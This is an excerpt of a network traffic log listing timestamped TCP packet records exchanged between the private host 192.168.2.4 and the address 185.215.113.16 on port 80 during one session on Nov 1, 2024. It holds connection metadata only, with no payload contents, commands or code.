Nov 1, 2024 08:50:20.053049088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053050995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053059101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053071976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053082943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053082943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053085089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053096056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053105116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053107977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053139925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053199053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053551912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053563118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053572893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053584099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053594112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053603888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053606987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053615093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053649902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053674936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053694010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053704023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053714991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053725958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053735971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053746939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053756952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053766966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053777933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053777933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053777933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053798914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053836107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.053944111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053953886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.053965092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054028988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054083109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054096937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054105997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054116964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054141998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054162979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054225922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054236889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054245949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054255962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054265976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054277897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054282904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054294109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054301977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054303885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054316044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054346085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054358959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054358959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054362059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054373980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054399014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054409981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054415941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054419994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054430962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054430962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054440022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054451942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054452896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054464102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054475069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054485083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054496050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054507017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054510117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054510117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054517984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054527998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054532051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054538965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054549932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054559946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.054570913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054570913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054595947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054613113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.054980993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055188894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055200100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055210114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055221081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055231094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055243015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055253029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055253983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055263042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055274010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055284977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055295944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055309057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055309057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055309057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055331945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055331945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055335045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055346012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055356026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055377007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055378914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055408001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055418015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055443048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055454016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055464029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055474997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055485964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055490017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055496931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055531025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055531979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055569887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055581093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055589914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055600882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055610895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055615902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055622101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055632114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055643082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055644035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055655956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055680037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055708885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055708885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055732965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055743933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055752039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055762053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055768967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055773020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055783987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055794954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055804968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055816889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055816889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055818081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055825949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055845022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055852890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055855989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055866003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055876970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055887938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055896997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055908918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055918932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055926085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055929899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.055964947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.055964947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.056313038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056355000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056365967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056399107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.056402922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056412935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056421995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056433916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056478024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.056561947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056572914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056582928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056592941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056603909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056610107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056610107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.056615114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056619883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056624889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056629896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056735992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.056735992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.056785107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056840897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.056915998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056926966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.056978941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057044029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057054996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057069063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057080984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057090998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057101965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057112932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057122946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057132959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057142973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057142973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057142973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057146072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057168007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057183981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057199001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057209015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057218075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057229042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057239056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057248116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057259083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057270050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057288885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057298899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057298899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057298899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057317019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057320118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057327986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057337999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057348967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057359934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057368040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057370901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057380915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057391882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057403088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057408094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057408094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057414055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057425022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057436943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057449102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057449102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057502031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057502031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.057854891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057934046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057945013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057954073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.057964087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058000088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058000088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058069944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058094978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058105946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058115959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058125973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058136940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058149099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058152914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058154106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058159113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058167934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058180094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058190107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058202982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058202982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058237076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058391094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058402061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058413982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058433056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058439970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058453083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058463097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058469057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058473110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058518887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058518887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058525085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058536053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058545113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058561087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058573008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058583975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058592081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058626890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058626890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058664083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058680058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058690071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058702946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058712959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058723927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058728933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058733940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058746099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058757067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058768988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058782101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058785915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058785915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058804989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058811903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058830023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058840990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058851004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058862925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058872938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058882952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058893919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058904886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058917046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058928013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.058943987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058943987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058943987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058943987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.058979034 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059221983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059271097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059282064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059339046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059359074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059370041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059379101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059390068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059417963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059448957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059458017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059461117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059575081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059586048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059595108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059612989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059623957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059634924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059645891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059654951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059654951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059655905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059704065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059775114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059828043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059839010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059840918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059866905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:20.059916019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059936047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:20.059951067 CET	80	49738	185.215.113.16	192.168.2.4
